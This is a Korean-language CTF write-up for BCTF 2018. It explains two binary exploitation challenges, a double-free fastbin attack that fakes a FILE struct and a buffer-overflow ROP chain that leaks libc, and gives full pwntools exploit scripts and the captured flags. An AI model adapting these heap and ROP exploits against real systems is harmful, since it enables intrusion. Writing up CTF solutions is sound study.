github twitter facebook email
Bctf
Nov 28, 2018
2 minutes read

35등 했당

rank

easiest

double free bug가 있다.

fastbin duplicate를 2번해서 한번은 exit@got뒷부분, 한번은 stdin@bss뒷부분을 받아서 stdin@bss뒷부분에는 간략한 fake file struct를 만들어서 fake io_file_jump를 참조하게끔 하고, exit@got부분을 이용해서 stdout@bss를 덮어주면 풀린다.

from pwn import *

def add(idx, size, data):
    p.recvuntil('e \n')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(data)

def delete(idx):
    p.recvuntil('e \n')
    p.sendline('2')
    p.recvuntil(':')
    p.sendline(str(idx))

if __name__ == '__main__':
    p = remote("39.96.9.148",9999)
    #p =process('./easiest')
    context.log_level='debug'

    add(0, 96, 'AAAA')
    add(1, 96, 'BBBB')

    delete(0)
    delete(1)
    delete(0)

    add(0, 96, p64(0x6020b0 - 3))
    add(0, 96, "B"*4)
    add(0, 96, "C"*4)

    add(11, 96, "A"*3 + p64(0)*4 + p64(0xffffffff) + p64(0x602088 - 0x38+8)*4)

    add(9, 56, 'AAAA')
    add(10, 56, 'BBBB')

    delete(9)
    delete(10)
    delete(9)

    add(9, 56, p64(0x602080 - 6))
    add(9, 56 ,"AAAA")
    add(9, 56, "VBBB")
    add(9, 56, "A"*6 + p64(0x400946)*2 + p64(0x6020C0- 0xc0+32) + p32(0xffffffff))

    p.interactive()

Flag : BCTF{**No_mO7e_EasieR_HEaP_NowadayS!**}

SOS

아깝게 2nd blood 놓쳤다.. 로컬 딱 땄는데 학교에서 컴터하지 말라구 해서,,, 기다리는 사이에 3rd까지 뺏겼더라.

그냥 바로 bof가 있는데, 입력을 끌 방법이 딱히 없다. 그래서 생각한게 그냥 인풋 겁나 길게 넣어서 에러 발생시켜서 입력을 끄는거다.

그거 빼면 걍 rop 문제다. aslr때문에 삑사리 많이나서 한 4~5번 돌리면 따진다.

from pwn import *

p = remote("39.96.8.50", 9999)
#p = process("./SOS")
elf = ELF("./SOS")
libc = elf.libc

p.recvuntil(": ")
p.sendline('1\n\n')
p.recvuntil("code: \n")

poprdi = 0x0000000000400c53
poprsi_r15 = 0x0000000000400c51

pay = "A"*(0x40 - 0x8 - 0x8) + p64(elf.bss()+16)
pay += p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(0x400AFC)

context.log_level='debug'

pay += "A"*0x2000
p.sendline(pay)

leak = u64(p.recv(6).ljust(8,'\x00')) 
libcbase = leak - libc.symbols['puts']

log.info("LIBCBASE : 0x%x" % libcbase)
pay2 = "A"*(0x40 - 0x8)+ p64(libcbase + 0x4f322)
p.sendline(pay2 + "\x00"*0x2000)

p.interactive()

Flag : BCTF{!---...---!}


Back to posts


comments powered by Disqus